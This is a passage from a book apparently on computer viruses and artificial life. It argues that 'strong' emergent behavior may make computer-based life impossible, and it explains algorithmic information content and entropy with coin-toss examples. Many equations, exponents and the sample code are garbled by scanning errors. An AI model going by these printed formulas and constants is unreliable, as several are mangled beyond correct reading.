choose, predict where it (or its child) will cross that circle, within
one degree of accuracy, and when, within one second.

Ostensibly, this is an interesting question that we would like to
know the answer to. And if life can be resolved to atoms and
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physics, than a proper theory of cellular dynamics should be able
to answer it, at least in principle.

We’ve just touched on what it would take to model the amoeba
with quantum mechanics, and that is out of the question. So now
we have to ask whether such a question requires a full-blown
quantum solution, or whether a hypothetical theory of cellular
dynamics might provide an answer. I suspect that no such theory
would have a prayer. The amoeba has all the characteristics of a
system in which a very small perturbation of the initial state can
grossly affect the answer to our question. For example, a few
molecules of sugar might clue the amoeba in on where to find food
and radically alter the direction it moves. This behavior drives us
to model the amoeba as exactly as possible if we want to accurately
determine its long-range behavior. However, if that cannot be done,
the atomist is in a fix: he cannot justify the position that life is just
an atomic machine ruled by basic physics and nothing more.

Suppose that with much effort, we were able to succeed in
modeling the amoeba, so that we could predict he would cross our
circle at 15 degrees east of north, at one hour, fifteen minutes, and
eight seconds after the experiment was started. Then we performed
the experiment, and he actually crossed at 20 degrees east of north,
at 59 minutes 10 seconds after the start of the experiment. Our
answer was fair. We did OK, but we didn’t meet the desired level
of accuracy. Why not? There are a number of possibilities:

1. Our calculations were inaccurate.

2. Our initial conditions were inaccurate.

3. We do not know the basic laws of physics. We are missing enough
to throw our calculation off.

4. The basic laws do not apply. Either there is another law, which
applies only to aggregates of 1 0% particles or more, or causal laws
do not apply to such organisms.

If we could reasonably do such a calculation, we might have some
hope for determining why our answer was off. But when we cannot
even approach the calculation, we have no hope of determining
whether our theories might have some problems.

The biologist might complain that we do not need answers to
such complex questions in order to justify an atomistic world-view.
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However I do not believe the question I’ve asked is very complex
as far as living organisms go. Let’s try another question:

Given a student handed a calculus test, determine whether he
will pass it in the allotted one hour time limit.

Again, ridiculous. If my last question is not theoretically incal-
culable, then surely this one is. We’re talking about 10'% numbers
to model it now. And the answer to such a question is important,
especially if you’re the student taking the test.

Of course, scientists deal with this kind of question every day.
Although it seems to be incomprehensibly difficult to solve from
basic physics, the teacher giving that test probably has a pretty good
idea of how the student will do. He would tell you the student is
intelligent and diligent in his attendance and preparation, so he’ll
probably do very well, and he will certainly pass.

Good scientists talk about abstract concepts like intelligence,
consciousness and unconsciousness, mind, ego, perception, and on
and on. Many fields of science are full of such ideas. Yet they have
only very weak ties, or no ties at all, to any kind of detailed
understanding rooted in atomistic materialism. Instead, such ideas
fall in line with the tradition of Plato and Aristotle. They are
proposed as a framework within which one may understand the
phenomena of life or any variety of other phenomena. In a sense
they are not merely ideas but Ideas or forms. If an idea like
intelligence correctly describes and explains observed reality, it
becomes reality in a sense, and without the idea we have a hard
time describing the observed facts.

Now most scientists today won’t suggest that these ideas are
some form of ultimate reality. Rather, they are understood as
working hypotheses, whereas ultimate reality is atomistic in nature.
Therefore, you don’t see a war going on between atomists and
platonists. However, the consensus among scientists on this ulti-
mate reality is a matter of blind faith in a philosophical idea, rather
than a matter of established fact. In many cases, that connection
certainly cannot be established in practice today. In all likelihood,
many such ideas cannot be atomistically explained in principle
because they are rooted in incalculable phenomena. That suggests
that there is a place in human understanding for ideas as Ideas and
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as an ultimate knowable reality in themselves. In other words, they
must stand on their own without being reduced to basic physics.

In the realm of the incalculable, the foundations of materialistic
atomism, causality and simplicity, begin to crumble. The only
simple law is one that can be used to predict. A law cannot be called
“simple” ifusing it is so complex that it actually becomes theoreti-
cally impossible. And then our statement of causality fails on
practical grounds too. Even if basic physics does govern the uni-
verse, we can’t use it to calculate anything we like, even in
principle. On the level of incalculable phenomena, causality simply
fails to inform us. It does not succeed in making the connection
between physical law and knowable reality. Therefore—on that
level—causality becomes vacuous and useless, and atomism fails
to be the ultimate knowable reality.

So it seems Aristotle has a place in science, and a place in the
science of life. That may be a bitter pill for a committed atomist to
swallow, but it is no new revelation. In 1962, Thomas Kuhn
published a little book, The Structure of Scientific Revolutions.” In
it, he described scientific work in terms of paradigms, or grand
ideas used to conduct research and understand the world. Kuhn
described two phases of science, so-called “normal science,” in
which a paradigm ruled more or less unchallenged, and a ““ scientific
revolution,” in which a change in paradigms takes place. In this
way, Kuhn argued that the underlying philosophical ideas are, in a
sense, more real and more important than the numbers and experi-
ments themselves. For example, the ideas of basic physics work
usefully in a limited realm. Quantum mechanics is great for calcu-
lating the energy levels of a hydrogen atom. Yet it does not provide
workable solutions even in all realms of physics. You cannot
successfully model a falling ping-pong ball with it. Other ideas are
necessary there, which simplify the problem and make it tractable.

Practically speaking, the atomism which has so dominated
science in the past century proves itself to be philosophy. In terms

7 Thomas Kuhn, The Structure of Scientific Revolutions, (Univ. of Chicago
Press, Chicago:1962)



Emergent Behavior Revisited 85

of scientific value, this philosophy is rather lame. Ideas like strong,
weak and electromagnetic forces, quanta, quarks, electrons, etc.,
are elevated to the point where they become everything. The
atomism comes in when we say that these basic ideas are capable
of explaining everything. That just isn’t true. New ideas are very
helpful in explaining more complex phenomena, because the basic
physics gets so complicated. And when the level of complexity
reaches a certain point, new ideas aren’t just helpful, they are
essential because the atomistic agenda fails completely.

Strong Emergent Behavior

Suppose some phenomena are truly incalculable in the sense
I’ve outlined above. That implies there is a fundamental crack in
atomism: the universe can’t be described by mere atoms and
physics. And that suggests something could “live” in the crack. In
other words, phenomena could exist in the realm of the incalculable
that actually govern the real behavior of real-world objects. In this
case incalculability would be more than just a barrier to realizing
the atomistic millenium. It would have an effect on the very nature
of reality.

As bizarre as this idea might sound, it has a precedent in
quantum theory. The fact that I cannot make an exact measurement
allows phenomena that are rationally unexplainable to live in the
cracks of what I cannot measure.

For example, a photon, which is a particle of light, can pass
through two slits at the same time. You can observe this phenome-
non if you place a piece of film behind the slits, because you get an
interference pattern, even when shooting one photon at a time
through them. If you try to watch what is happening, and determine
which slit each photon goes through, the interference pattern dis-
appears. In the act of trying to look, you’ve fouled the experiment
up. As such, the photons behave differently *“in the dark” than they
do when you are looking.

As another example, radioactive atoms, like Uranium-238,
decay quantum mechanically according to the equation

N=N,2" 11.1
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where N is the number of atoms that have not decayed by time t,
N the original number of atoms, t the time, and t, is the half-life.
Yet this law cannot tell you when any individual atom will decay.
If I give you one atom, you cannot, in principle, tell me when it will
decay. You can give me a probability that it will decay during some
time interval, but that is it. Quantum theory bars you from telling
me any more. Yet if you watch that atom, it will decay all at once,
at some particular time. It is arandom event that cannot be analyzed
any further.

Now, coming back to incalculability, if something could live
in the crack that it implies, we might call this something emergent
behavior. After all, emergent behavior is the idea that a system can
be more than the sum of its parts, which is exactly what incalcula-
bility plus “something in the cracks” implies. I want to differentiate
this kind of emergent behavior in the real world from the emergent
behavior we’ve discussed in the world of AL, though. Therefore
I’1l call it strong emergent behavior. Simply put, a system exhibits
strong emergent behavior when one or more aspects of its behavior
is theoretically incalculable. If real-world life is strongly emergent
then there is truly no way to determine how genotype causes
phenotype at a microscopic level. One simply cannot do the calcu-
lation which is necessary.

In contrast, we might define weak emergent behavior as a
similar phenomenon, only where nothing is incalculable.

To suggest that strong emergent behavior is real is perhaps not
that big a departure from the present day philosophy of science.
Quantum theory has already shown us that any proper theory of our
world ought to properly reflect our limits of knowing. This program
is realized in quantum theory in that it will not give us more than
real-world limitations on making measurements allow. Strong
emergent behavior simply suggests that the same limitations that
apply to what we cannot measure may apply to what we cannot
calculate.

Could it be that any ultimate theory of reality must reflect this
limitation and turn away from strict atomism? In the light of
quantum theory, such an idea seems at least plausible.

Emergent Behavior and Artificial Life
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The problem we run into when trying to do AL work is that
anything we model on a computer necessarily only involves weak
emergent behavior. After all, the model we create is also the
solution to the problem! By very definition, if we can model it on
a computer, it is not incalculable. Strong emergent behavior in a
computer model is a contradiction of terms. A biological organism
differs in that it could involve incalculable elements, so it could
exhibit strong emergent behavior. As such, there could be a funda-
mental difference between a biological organism and anything a
computer model can offer. The computer-based model can always
be reduced to a bits-and-bytes equivalent of atomism. It is always
deterministic. The same cannot be said of a living organism if it
ventures into the realm of incalculability.

With that much said, we have to wonder, can computer-based
AL ever provide an accurate picture of life? Or is it really no better
off than the clockmakers of the 17th century? Judging from the
above comments, one could easily believe that AL is a complete
failure. If one of the essential aspects of life is strong emergent
behavior, then a computer simulation just won’t cut it.

Even worse, I think we have to wonder whether the idea of
weak emergent behavior has any content, or whether is at heart a
vacuous concept. Apparently, it conveys no real knowledge about
how something works. And it is based on appearances rather than
reality.

The idea that individual parts of a computer program or cellular
automaton can interact to produce a whole that is greater than the
sum of its parts is little more than an admission of ignorance. When
aresearcher doesn’t know what the parts will do together, they will
do something unexpected, by definition. If he knows what they will
do, then they will do just what he expects. As I said several chapters
back, in order to give some content to this idea, you have to have
some formal method for deducing what kind of behavior is to be
expected. Then, if that method breaks down, and cannot give you
the right answer, the idea of emergent behavior might have some
content. With strong emergent behavior, the method does break
down. With weak emergent behavior, it seems only sane to suggest
that any behavior we can calculate with a computerized model is
deduced behavior. That is, after all, fast becoming the standard in
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every area of science. Yet that leaves the idea of weak emergent
behavior in the realm of Artificial Life without content. The simu-
lated automaton that you build is, after all, its own computerized
model. As such, it would seem, no computer-generated behavior
could be weakly emergent. In the real world, weakly emergent
behavior would be merely an indicator that some physical theory—
which was being used to create a computerized model—was inade-
quate, and that you’d better start looking for a new law to explain
that real-world phenomenon. With a new law in place, the weak
emergent behavior could be resolved. Thus, at best, weak emergent
behavior is an admission of the lack of understanding, and not a
positive principle.

I'have also already touched on the idea that many parts working
together to produce a whole is rather a matter of appearance than
reality. Any computer, no matter how massively parallel, can do
nothing which a simple serial computer cannot do, given enough
memory and enough time. All are Turing machines.The parallel
computer can do things faster, but it cannot do more. That means
that any parallel cellular automaton can be (and often is) imple-
mented as a serial program on a serial computer. It is incredibly
naive to say that one implementation is fundamentally different
from another simply because it looks different. Often the passive
examination of the code in a serial program gives us as much insight
into its behavior as looking at the parts of a cellular automaton.
Therefore the idea of weak emergent behavior is a matter of
appearances. One implementation looks like many small parts
interacting to make a whole, and another implementation looks like
a centrally controlled serial program.

In view of these considerations, weak emergent behavior is
illusory. Apparently, it brings no new understanding to a problem.
I’d like to suggest that we’d do well to throw the idea out. We’d be
better off if we’d just treat jibberish as jibberish and look for real
phenomena that can help us understand life better instead.

In contrast, the idea of strong emergent behavior points to a
real limitation on what we can do with natural law. It lends a
legitimacy to Aristotelian-style ideas, like emotion, like free-will,
telling us that such ideas cannot be explained with a purely atomis-
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tic science, and that they can, and must have a place in any ultimate
understanding of reality.

Summary

We might conclude that if strong emergent behavior is real, and
weak emergent behavior is vacuous, then strong AL—the idea that
we might create something on our computers that is actually
alive—is a damned pursuit. If you accept the idea that strong
emergent behavior is a necessary ingredient for life, then AL can
never achieve it. Just as one cannot accurately model the dynamics
of electrons (quantum) using billiard balls (Newtonian), because
the rules are different, one could not accurately model life (strong
emergent behavior) with computers (illusory emergent behavior),
because the rules are different. And the differences are fundamental
and irreconcilable. All of that depends, of course, upon the accep-
tance of emergent behavior as a condition for life. You could, of
course, simply reject that condition. Of course, if it is real and you
throw it out, you’re just deluding yourself.

As one final word of caution, many of the things I’ve said in
this chapter are speculative. I make no claim to being an expert
guide in these waters, or to having a full theory that will give you
all the answers. I am just an explorer. And I make some of the points
I do to stir up a discussion where there needs to be one, not to bring
it to a conclusion.



Self-Reproduction and
Information

A few chapters back, we discussed the idea of self-reproduc-
tion, and we ran into a problem: Where do we draw the line between
self-reproduction and physics-driven replication? There are obvi-
ous situations in which one concept or the other seems to fit snugly.
Then there are gray areas. Byl’s automaton may look like a repro-
ducing cell, but it differs very little from a growing automaton-crys-
tal, mathematically speaking.

On the surface, it may seem as if we could draw a line more or
less arbitrarily, and say everything to the right of the line is
self-reproduction, and everything to the left is mere replication. In
fact, trying to draw that line pulls us right back into the Aristotle-
atomist debate.

How so?

The radical atomist maintains that life is nothing more than
atoms obeying the laws of physics. However, merely stating such
a philosophical idea draws the line we want to draw. And it draws
that line in a place where it only succeeds in destroying under-
standing rather than imparting it. To follow atomism to its logical
conclusion, one must maintain that all reproduction is merely
physics-driven replication. There is nothing fundamentally differ-
ent about the one-celled amoeba’s reproducing and a crystal grow-
ing. Both are physics driven. One is just somewhat more
complicated than the other.
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Let’s go back to Langton’s idea of self-reproduction, and tear
it apart with our atomistic glasses on, to see what it is made of:
Langton suggested that a self-reproducing machine must use infor-
mation (A) actively, as instructions to be executed, and (B) pas-
sively, as raw data to be copied. This definition is full of words
which cry out for better definition. What is information? What are
active and passive? What constitutes executed instructions?

We understand these concepts intuitively, from our everyday
experience with computer programs, but how can they be practi-
cally defined in atomistic terms and applied to determine whether
some phenomenon, either in the real world or in a cellular automa-
ton-world, is in fact self-reproduction? What is it that makes one
collection of atoms “active” and another not? Why is the process
of “executing instructions” somehow active, while “ copying data”
is not, when both are just physics driven processes? And what do
we mean by “information” ? After all, the very word derives from
the verb fo inform, which implies that some intelligent, conscious
being is informing another being or being informed by another. Yet
we do not even have a concept of what a conscious being is in
atomistic terms.

In short, Langton’s definition sounded useful when we first met
up with it, but now we see it is full of unwieldy ideas.

What shall we do?

First, I’d like to take a look at some atomistic attempts to define
the idea of information a little better. Not only will these ideas be
useful to us in making some calculations later on, they will illustrate
the difficulties of making sense of the idea of information from an
atomistic point of view. Additionally, our discussion will help us
understand the philosophy behind Langton’s ideas a little better.

What is Information?

It is well said that we are living in the information age.
Computers have not only revolutionized our way of life, but also
our way of thinking. Computers have given us a whole new
perspective from which to view the world. For example, fifty years
ago it would have been impossible to construct anything but the
most rudimentary fractal, much less use it for anything practical.
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Yet today fractals are routinely used to model complex features of
all kinds of things, ranging from coast lines to dust particles. We
have come to see fractals as an important tool in understanding our
world. This has only been possible because of computers, which
are ideally suited to manipulating fractals.

Computers have given us a power to manipulate and use
information that was unimaginable only a few decades ago. Look-
ing beyond the immediate consequences of this new-found power,
though, computers have made the very idea of information impor-
tant to us, and we have recognized it everywhere in nature:

“Information is the currency of nature. A bee carries genetic
information contained in pollen to a flower, which in turn supplies
the bee with ordered energy in the form of sugar, a transaction that
redounds to their mutual advantage. At a scale ten orders of magni-
tude smaller, nuclear spins in a ferromagnet exchange virtual pho-
tons with their neighbors, agreeing on a common orientation as their
temperature drops below the Curie point. At a scale ten orders of
magnitude larger, Neptune induces perturbations in the orbit of
Uranus, thereby revealing its presence to Adams and Le Verrier. At
a scale twenty orders of magnitude larger yet, the expansion of the
universe constantly increases the difference between the present
entropy of the universe and its maximum possible entropy, augment -
ing the informational resources available in the form of gravitational
free energy.” !

Yet the concept of information has proven rather difficult to
lay one’s hands on. We have an idea of what it is. With the advent
of computers, we even have an idea of what it is in the abstract. Yet
quantifying it in terms of mathematics and physics is another
matter. In the introduction to Complexity, Entropy and the Physics
of Information, Wojciech Zurek puts the problem bluntly: “The
spectre of information is haunting the sciences.”?

1 Seth Lloyd, “Valuable Information,” in Wojciech Zurek, Ed. Complexity,
Entropy, and the Physics of Information, (Addison Wesley, Redwood City,
CA:1990) p. 193.

2 Wojciech Zurek, Ed., Complexity, Entropy and the Physics of Information
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Very true.

How can we possibly take a subjective concept like informa-
tion, which seems so inextricably tied to intelligence, and under-
stand it in terms of objective physical measurements and theories?
Yet the scientific discoveries of the past fifty years virtually de-
mand that we understand information objectively. For example, the
information content of the DNA in a living organism seems so
obvious that it cries out for explanation. One could hardly come up
with a better design for both encoding and using information at a
molecular level than the DNA/RNA/protein scheme employed by
a living cell. (See Appendix B for a short introduction to the
biochemistry you’ll need to read this book.)

One way to define information in an abstract manner is to say
that information content is proportional to the size of the minimal
computer program capable of generating that information. This
defines what is known as algorithmic information content. For
example, a binary sequence of ten thousand numbers

0101010101010101010101010101... 010101010101010101

has very little algorithmic information content, because it can be
programmed like this:

for (§=0;3<5000;3++) printf (“$x3%x”,0,1);

a simple, one-line statement. On the other hand, a sequence like

01101100101011011110111101010... 011111110110010010

which has no long-range order must, for all practical purposes, be
specified bit-by-bit:

printf (“%x”,0);
printf (“&x”,1);

(Addison Wesley, Redwood City, CA:1990) p. vii.
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printf (“%x”,0);

amuch more complicated process. Thus, the periodic sequence has
much less information content than the aperiodic one.

Of course, we face a number of problems with such a definition
of information. Obviously, assigning an exact number to algo-
rithmic information content is difficult for two reasons: One would
expect the size of the algorithm to vary from computer to computer,
since not all machines have the same instruction set to implement
algorithms with. Secondly, it is often difficult to determine whether
a given algorithm is actually the minimum. This problem can crop
up at two levels. The first level is in the actual coding, e.g., is an
algorithm which uses

printf (“%x%x”,0,1);

smaller and simpler than one which uses

printf (“%x”,0);
printf (“&x”,1);

or vice versa? This can depend on what compiler you use, etc. At
a deeper level, The above sequence may appear random at first
look, but upon careful analysis, it may contain ten or twenty
repetitions of the sequence

01101100

which could be coded into a subroutine to save a hundred instruc-
tions or so. Although I do not want to deal with these questions in
any great depth here, they do lead to a whole new field, the study
of the complexity of algorithms, which is very relevant to algo-
rithmic information content. Despite these difficulties, algorithmic
information content gives us a useful measure of information, even
if it is a little bit fuzzy.
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One big question which we must understand is where random
data fits in to this idea of information. A random sequence of 1’s
and 0’s can have a high algorithmic information content even
though it is essentially meaningless. The sequence of letters

TY UBTY HRTNP
and
IS THIS ALIVE

have the same algorithmic information content, however one has
meaning to an English-speaking reader and the other does not. We
might look at the first sequence of letters and say it is meaningless
garbage, or we might suspect a code was used to create it, and that
it would be meaningful to any person with the decoding rules.* The
idea of algorithmic information content (or any other atomistic
definition of information) avoids such questions of meaning alto-
gether.

The closest we can get to defining meaning under the umbrella
of algorithmic information content is to say that the act of specify-
ing a sequence lends meaning to it. We equate meaning to speci-
ficity.

Let’s see how this works: Suppose I say I’d like a fairly random
sequence of 10,000,000 1’s and 0’s with 75%+1% of the digits 1’s.
It is not too difficult to write a pseudo-random number generator
that can produce such a sequence. It will be a fairly compact
algorithm, so such a sequence won’t have much information con-
tent. Yet in doing this, I haven’t specified the sequence exactly at
all. If I do specify a particular sequence of 10,000,000 1’s and 0’s
with 75.32% of the digits 1’s, chances are my pseudo-random
number generator will not be able to produce this sequence. Then
I am stuck with writing a much larger program to detail the
sequence bit by bit.

3 In fact it has been encoded, and you can easily figure out the rules.
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In general, the more closely I specify a sequence, the bigger
the algorithm I must use to create it. Of course, if I specify a
sequence very exactly, I have presumably put a lot of work into its
specification. So in a crude sense, that sequence has a lot of
meaning to me. The meaning of this sequence is that [ worked hard
to specify it in detail. That’s about it. Within such a context, both
sequences of letters above have a similar specificity—I specified
both exactly—and so, in a sense they have a similar amount of
meaning, irrespective of what language I speak or whose code book
I have.

There is one problem here, though. Suppose I specified an exact
sequence which just happened to be identical to one that a simple
pseudo-random number generator put out with a given seed. Then
I would have little algorithmic information content despite great
specificity! Fortunately such situations are extremely rare. With
210,000,000—193.000.000 ,n5sible sequences, only relatively few can be
specified by simple algorithms. The simplest algorithms specify
only a straight sequence of 0’s or 1’s. Add a little more to the
algorithm and it can do 010101 . .. or 101010 . . . depending on
how it is seeded, etc., etc. So the trend continues. A pseudo-random
number generator based on 16 bit integers can generate at best only
65,536 different sequences—still a far cry from 103090090 The vast
majority of sequences will require large algorithms to describe
them. So the probability that one would accidently hit on a sequence
with small algorithmic information content is very small (remem-
ber, 10-3:900.000 js essentially zero in this game).

A second—and older—way to define information atomisti-
cally is using entropy, since entropy is a measure of the disorder of
a physical system. To understand this properly, let’s first spend a
little time digging into entropy, to understand it better from a
statistical point of view . . . .

Imagine a physical system of some kind—say a room full of
gas. If we want to describe the state of this gas, we do it with
quantities like temperature, pressure, volume, and the ratios of its
constituents, e.g. 18% Oxygen, 22% Helium, and 60% Nitrogen.
All of these are macroscopic descriptions of what the gas is.
Generally we do not specify a list of microscopic parameters to



98 Computer Viruses, Artificial Life and Evolution

describe the gas. For example, (speaking classically) we do not
provide a list of 10?* atomic positions and velocities:

1.0y x=(1.0,2.0,0.5)m  v=(52.7. 16.9, -2.6) m/sec 12.1
2.He x=(3.7, 1.1, .L)m  v=(-163.9, 0.2, -5.9) m/sec

To do so would be absurdly difficult, and it would be rapidly
changing from second to second. The macroscopic quantities tell
us just about everything we really care to know.

In a way, entropy bridges the gap between the macroscopic and
the microscopic. Mathematically, the entropy S of a system can be
defined statistically as

S =kgln(Q) 12.2
where
kg =138 x 107'® erg/°C 12.3

is Boltzmann’s constant, In is the natural logarithm, and O is the
number of microscopic states of a system which will produce the
specified macroscopic state. In general, for any macroscopic sys-
tem, such as our room full of gas, O is an absolutely huge number.
The log cuts it down to a workable size.

We can apply this definition of entropy to anything we can
define an O for, and it’s instructive to do so in order to better
understand entropy and the second law of thermodynamics.

Suppose, for example, we had M coins and we wished to
describe a state in which N were heads and M-N were tails. We can
figure O out with a little logic. Define

M,N = Number of states for which N of M coins are heads /2.4

Then it is fairly easy to see that
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Qmm = Omo=1 12.5

since there is only one possible configuration when all coins are
heads or tails. We can also establish the relationship

MN = Opa N+ OMaN 12.6
since we can single out the first coin, and if it’s heads, then there
must be M-1 coins in the rest of the lot with N-1 heads. Likewise
if the first is tails, then there are M-1 coins with N heads in the rest
of the lot. With these relationships, one can prove that

MN = MINI(M-N)! 12.7

Now suppose that we had 100 coins. For a state of all heads or all
tails, we have

100,100 = 1 100,0 =1 12.8
For a state with 1 heads and 99 tails,

100,1 = 100 12.9
and for a state with 50 heads and 50 tails,

100,50 = 1001/50150! = 1.01 x 10% 12.10

The entropy for all heads or tails is zero. The entropy for one head
or tails is given by*

S100.1 = kgIn(100) =2 12.11

whereas for 50 we get

4 Here, and throughout the rest of the chapter, we will use units for which kg=1
to simplify calculations.
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S100.50 = kpIn(100!/50!50!) = 29.0 12.12

Now we all know that if these coins are being tossed randomly,
we’ll usually see roughly a 50-50 split. A 99 to 1 split will be
extremely rare. Even if we start the coins out all heads, and shake
them up, they will quickly go to approximately a 50-50 split and
stay there. Expressed in terms of the second law of thermodynam-
ics, the system necessarily tends to go toward a state of increased
entropy.

The statistical fluctuations from the biggest () are significant
when we’re talking about 100 coins. For example, a 53-47 split
would not be considered unusual. The reason is that

100,50/ 2100,53 = 1.195 12.13

is not too big. However, as the number of coins (or atoms, or
particles, or what have you) gets bigger and bigger, the fluctuations
shrink. In general, for M particles, the reasonable deviations will
go as VM. V100 = 10, so anything within 10 of a 50-50 split is not
unusual. However, suppose we had 10?* coins. Now, the square
root is 10'2 which is a very small number compared to 10%*. Now
anything within 10'? of a 50-50 split is not unusual. However, a
5.3x10%% to 4.7x10? (e.g. the same ratio as a 53-47 split with 100
coins) is absurdly unlikely. That is because

10453102 / ©210245.3x10 12.14

is absurdly huge.

What all this means is that the second law of thermodynamics
goes from being merely a statistical guideline when talking about
numbers like 100 to being a hard and fast rule when talking about
numbers on the order of the number of atoms in a macroscopic
object.

So how are entropy and information related?

Suppose I used my 100 coins to create a binary sequence of
numbers by assigning 1 to heads and 0 to tails. Then using a
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(non-ASCII) representation of the upper case letters, I might ask
how many configurations contain my sequence of letters “ THIS IS
ALIVE”? The string consists of 13 characters, and I need five bits
per character to represent it. Thus 65 contiguous bits must be used
to specify the string. If we have 100 bits to work with, the other 35
bits can be anything you like, and they can appear before or after
my string. As such, there are about 35x233 possible combinations
which contain this sequence of letters. Thus, we can compute the
entropy of a state containing this sequence,

S = kgIn(35x2%%) = 12.08 12.15

If I had specified a sequence 20 characters long, I would have to
use all 100 bits. The state of the coins would be completely
specified and we’d have S = 0.

Note that both in the case where I specified a sequence of
letters, and where I specified a ratio of heads and tails, I have
imposed a condition on the state of the coins. I have specified
something, whether it be a particular sequence, or a weighting.
Thus, the entropy can be understood as a measurement of the lack
of specificity in the state of the coins (or what have you). The bigger
the entropy, the less that is specified. Thus, if I specify the state
completely, either with a complex sequence of 100 bits or by just
saying “all 1’s” (e.g. all heads), the entropy is zero. On the other
hand, if I specify only a 50-50 mix, I haven’t specified the state of
the coins very carefully since there are many, many combinations
which will give a 50-50 mix. Thus, the entropy is a large positive
number.

In this way we can understand entropy as a measure of infor-
mation content. If we have a lot of information about a physical
system—a high degree of specificity—then it has low entropy. If
we have little information, it has high entropy. The entropy is a
measure of the total amount of missing information about the
system.

But then we can turn the tables and define information content
in terms of entropy: A high information content can be defined as
a state with low entropy. Such a definition of information is similar
to our idea of algorithmic information content, but not exactly the
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same. A state of low entropy (high entropy-information content)
may have low algorithmic information content. For example, going
back to our coins, a state with all heads has low algorithmic
information content because the algorithm to specify that state is
very compact. However, that state has zero entropy, and therefore
high entropy-information content. On the other hand, a state with
high algorithmic information content is generally a state of (rela-
tively) low entropy. Thus, the idea of algorithmic information
content appears to be somewhat stronger than the idea of informa-
tion-as-lack-of-entropy.

So far, so good.

Now let’s turn to the real world and see just what a pickle we
can get into with these ideas of information: Pick up a rock and
examine it . . . Now model it with an algorithm . . . The essential
question for our poor programmer immediately becomes “Do you
want a rock like this, or do you want this rock?” Making a model
for a rock that looks similar, and has a similar chemical structure
is not too difficult, and I suppose it could be accomplished with
1000 lines of code in a high level language. However, to model this
particular rock exactly is a problem of immense magnitude. Every
microscopic irregularity on its surface must be accounted for. Every
trace impurity in its interior must be accurately modeled. The
algorithm for this model is beyond practical reach.

So does the rock have a tremendous algorithmic information
content, or only a little? That becomes a deeply philosophical
question which science simply cannot answer, and our definitions
of information cannot answer.

It is very important to understand this point.

The question goes right back to the first causes that Aristotle
and the atomistic materialists argued at great length. One might
take the atomistic view of the world and think of the rock as a
random chance event, and hence argue that it is merely a rock, with
little information content. Yet one could also take the view that the
rock is an individual, specially fashioned by an intelligent force
who numbers the hairs on our heads and counts the grains of sand
on the seashore. (The question of how the rock was formed matters
little if this is the case. It may be an act of special, instantaneous
creation or a result of natural processes in a world viewed as God’s
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laboratory.) In this case, the specific, microscopic, individual fea-
tures of the rock are important, and it will be viewed as having a
high information content. Again, the rock could have been put
together as a detailed communication from another being on some
other planet, and hurled through space to us—a vital piece of
information for us to decode. Without some understanding of the
origin of the rock (including the metaphysics of that origin) we
cannot really attack the question. Commonly one just makes some
under-the-table assumptions about the rock, and proceeds on that
basis. However, that is not philosophically sound.

This may seem like a pretty esoteric discussion for a book about
computer viruses, but it is not. Remember that the world of bits and
bytes inside of a computer is a boatload of information to us, and
many people will complain about how viruses trample that infor-
mation left and right. However, from this discussion, we can see
that one could view our world in the very same way—a world full
of information that living creatures are very adept at destroying. In
fact they are made to destroy it since a living organism’s metabo-
lism raises the entropy of its surroundings to maintain its own
low-entropy state. It couldn’t live otherwise. We’ve already
equated an increase in entropy with the destruction of information.
And how would a virus see its own world, if it were conscious?
Would it imagine that EXE file to be a piece of intricate information
not to be toyed with, or would it look like just another good rock
to get some sunshine on the top of? Even this “esoteric” philosophy
is relevant to viruses.

Anyway, it appears that our ideas about information are hard
to apply to life as-is. Extreme atomism has a tendency to drive too
much information out of the universe. Atomistically, one can
hardly draw the line between a physical process that constitutes life
and one that does not—all are just atoms and physics. Neither can
one say that there is a lot of information in a living organism, and
not in an inanimate rock. The living organism is a chance occur-
rence, one of many possibilities. And low specificity means low
information content. On the other hand, extreme Aristotelianism,
or creationism, if you will, tends to put too much information into
the universe. The DNA in a living organism becomes highly
specific, yes, but perhaps no more so than a rock or any myriad of



104 Computer Viruses, Artificial Life and Evolution

other inanimate objects. Therefore you end up with life containing
a small piece of information in a world inundated with it.

So information appears to be at heart a subjective and philo-
sophical idea. We cannot seem to get away from it, even when we
attempt to define information atomistically. In the end, the whole
idea of information remains practically nonsensical apart from the
question of meaning. I will not try to tackle all of these deep issues
here. They could be the subject of an entire book. However, we
desperately need some kind of middle ground, where we can define
information in such a way that it can help us to understand life.
Without that, the whole idea of self-reproduction can easily get lost
in the philosophical issues.

Information and Computers

Information as we normally understand it informs an intelli-
gent, conscious creature. Our idea of information has largely been
born of the computer age during which period we have invented
machines which can interpret and process information. Thus, our
real ideas about information are still closely tied to the idea that
something—a machine or an intelligent being—interprets it.

These thoughts make sense to us superficially. However they
still leave a big question of meaning to tackle. If I gave you a book
written in the wrong language it would be meaningless to you—and
you couldn’t even tell if it would be meaningless to someone who
knew that language. Worse yet, if [ put a program into a computer
and run it, what makes it a meaningful or meaningless program? I
can execute any random string of bytes on most computers and they
will do something. How do I differentiate between useful and
useless programs, meaningful and meaningless information?

At bottom, meaning can only be referenced to a conscious
being. Information is meaningful only with respect to a conscious
being. The program is meaningful and useful only if it does some-
thing that is meaningful to somebody. If we decide to abstract this
idea of meaning and define it in some rigorous objective way, then
all we are doing is saying that that objective definition has some
meaning to us. Therefore even our objectification is subjective. Our
supposedly objective definitions of information content via algo-
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rithms and entropy are useless without some subjective, philo-
sophical input. It is totally in the tradition of Aristotle—placing
fundamental value on an idea rather than trying to reduce every-
thing to atoms and physics. It appears we will have to live with that
if we want any useful idea of information.

Within the realm of Artificial Life, it seems reasonable to
define meaningful information in terms of self-reproduction. Let
us take a definition like this as a starting point:

Given a machine which can interpret some instruction set, a
sequence of instructions is meaningful if its execution causes the
interpreter to make an exact copy of both the interpreter and the
instructions in some sort of initial state.

Obviously this definition is not intended to be the final word on
meaning. Your spreadsheet program obviously executes meaning-
ful instructions even though it does not reproduce. Our definition
merely singles out a class of actions which we consider to be
meaningful.

In writing down such a definition, we would like to be able to
draw a clear line between the interpreting machine and the infor-
mation being interpreted. We’d like to picture it like a computer
and a tape with a program on it. Then we can pull the program out
of it and analyze its information content using entropy or algo-
rithms, or what have you.

Understand that mere entropic or algorithmic information con-
tent of a tape in the abstract does not necessarily equate with
information-with-respect-to-reproduction. The tape could conceiv-
ably be irrelevant to the reproduction process. If the machine
reproduces no matter what tape you have inserted in it, you have a
large number of possible tapes (€2), and so a large entropy, and little
information content.

Another place where we would like to draw a clear line is
between the self-reproducing automaton and its environment. The
very idea of a “machine interpreting instructions” suggests this
distinction. The machine is not the environment as a whole. We can
identify a subset of the environment and say “ there is the machine.”
Yet the machine is not totally independent of its environment.
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Indeed, it cannot be. If it were, it would be an isolated system, and
therefore an environment unto itself. We can draw a line between
machine and environment because the machine is normally under-
stood as the part which does the detailed organizing work necessary
